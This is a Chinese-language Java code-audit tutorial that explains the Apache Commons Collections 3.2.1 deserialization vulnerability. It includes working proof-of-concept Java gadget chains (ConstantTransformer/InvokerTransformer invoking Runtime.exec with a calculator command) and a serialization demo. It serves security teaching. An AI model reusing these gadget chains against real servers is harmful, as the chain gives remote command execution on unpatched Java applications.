2021-05-12

Java代码审计系列第二课 案例Apache Commons Collections反序列化漏洞讲解

简述

Apache Commons CollectionsApache Commons的组件,它们是从Java API派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections试图通过提供新的接口,实现和实用程序来构建JDK类。

Apache Commons包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。

2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

要了解这一节课的知识需要提前学习我们第一节课的反射知识 Java代码审计系列第一课 反射机制

搭建环境

Apache Commons Collections 官方在漏洞第一时间就已经修补了漏洞,所以有漏洞的版本是>=3.2.1的,配置好maven,就会自动下载下来。

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

打开依赖包,看到 /org/apache/commons/collections/functors/InvokerTransformer.class

打开这个文件。

漏洞分析

漏洞成因

上节课我们说过,java的反射可以动态的调用类和类里面的方法,用就是类似如下代码

 Class class1 = Class.forName(req.getParameter("className"));
 class1.getMethod(req.getParameter("methodName")).invoke(class1.newInstance());

InvokerTransformer.class 中的第54行的transform方法

可以看到transform方法利用Java的反射机制进行任意方法调用。input参数是传入的一个实例化对象,反射调用的是其方法。 就很直接的调用了Java中的反射机制去实例化对象!

 Class cls = input.getClass();
 Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
 return method.invoke(input, this.iArgs);

不过值得注意的是,仅仅是这里是不能够命令执行的,因为Java不像PHP那样是面向过程的编程,不能直接执行类似system, shell_exec 之类的函数,Java是一门面向对象的语言,所谓万物皆对象,没有对象new一个。执行操作的时候,需要对象->方法

或者类->静态方法, 最常用的就是 java.lang.Runtime.getRuntime().exec(cmd),因此,光凭这个反射还是不能造成命令执行漏洞的,需要调用到transform 这个方法,并且将调用的结果作为下一次的输入。

找调用链

所以,我们得继续翻这个包,看看有没有满足我们条件的方法。直到找到/org/apache/commons/collections/functors/ChainedTransformer.class 这个文件


public class ChainedTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers; 

	 // .... 其他不重要的代码省略

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
}

可以看到这里的transform 实现了Transformer这个接口,重写了transform方法,并在里面遍历所有重写Transformer接口的对象,

调用其的transform方法然后返回个object,返回的object继续进入循环,成为下一次调用的参数,那我们怎么通过这里来执行命令呢?

构造Payload

结合InvokerTransformer可以构造出:

package com.evalshell.main;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class HelloController {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})};
        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(Runtime.getRuntime()); 
    }
}

这里的Runtime.getRuntime() 会带入到InvokerTransformer 中的transform, 此时里面cls就是Runtime.getRuntime(), cls.getMethod(this.iMethodName, this.iParamTypes); 所以第一个参数就应当为getMethod;而getMethod方法的签名为getMethod(String, Class...),我们实际用的时候也只传入了一个String,所以第二个参数应当写为new Class[] {String.class, Class[].class},第三个参数则为调用getMethod时候实际传入的参数,所以应当为new Object[] {"getRuntime", new Class[0]}就可以了。这个this.iMethodName 就是我们传进去的参数exec, 后面就是我们穿的String类型的数组"open -a Calculator",这样一条完整的利用链就完成了。

但是这里实例化后的对象Runtime不允许序列化,所以不能直接传入实例化的对象。所以我们需要在transforms中利用InvokerTransformer反射回调出Runtime.getRuntime()

Transformer[] transformers = new Transformer[] {
            //传入Runtime类
            new ConstantTransformer(Runtime.class),
            //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
            new InvokerTransformer("getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }),
            //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
            new InvokerTransformer("invoke",
                    new Class[] {Object.class, Object[].class },
                    new Object[] {null, new Object[0] }),
            //反射调用exec方法
            new InvokerTransformer("exec",
                    new Class[] {String.class },
                    new Object[] {"open -a Calculator"})
    };
Transformer transformerChain = new ChainedTransformer(transformers);

整个调用链是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
现在反序列化后就可以obj.transform("随意输入");这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。

反序列化利用

到目前为止,我们已经构造出了可以执行命令的恶意chain,姑且称之为基于Poc的验证利用链。现在只要找到一个符合以下条件的类,满足以下条件,并且服务端有反序列化的入口,就可以RCE了:

  1. 该类重写了readObject方法;

  2. 该类在readObject方法中操作了我们序列化后实现了pocChainTransformedMap

这样的操作,我们可以在/org/apache/commons/collections/functors/ConstantTransformer.class找到

因为在ConstantTransformer中,调用transform方法时不管输入什么都不会影响返回,所以,随意输入即可。

那么能否直接这样构造进行序列化呢,编写代码试试, 编写一个序列化的demo

package com.evalshell.main;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;

public class HelloController {
    public static void main(String[] args) {

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new PocTransformer(transformers);

      
      	//序列化对象
        try{
            File f  = new File("f_u_c_k_object");
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(f));
            outputStream.writeObject(transformerChain);
            outputStream.flush();
            outputStream.close();
        }catch (IOException exception){
            exception.printStackTrace();
        }
				//反序列化对象
        try {
            File f = new File("f_u_c_k_object");
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(f));
            Transformer f_u_c_k_object = (Transformer) objectInputStream.readObject();
            f_u_c_k_object.transform("fenguxan"); //这里可以填写任意值
            System.out.println(f_u_c_k_object.getClass());
        }catch (FileNotFoundException exception){
            exception.printStackTrace();
        }catch (ClassNotFoundException exception){
            exception.printStackTrace();
        }catch (IOException exception){
            exception.printStackTrace();
        }


    }
}

class PocTransformer implements Transformer, Serializable{
    private final Transformer[] iTransformers;

    PocTransformer(Transformer[] iTransformers) {
        this.iTransformers = iTransformers;
    }


    @Override
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            System.out.println(object.getClass());
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
}

后续的攻击链就不是我们本节课的重点了,大家可以自己去看下参考链接

参考

https://xz.aliyun.com/t/4558#toc-0
https://www.anquanke.com/post/id/82934
https://p0sec.net/index.php/archives/121/
https://security.tencent.com/index.php/blog/msg/97

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值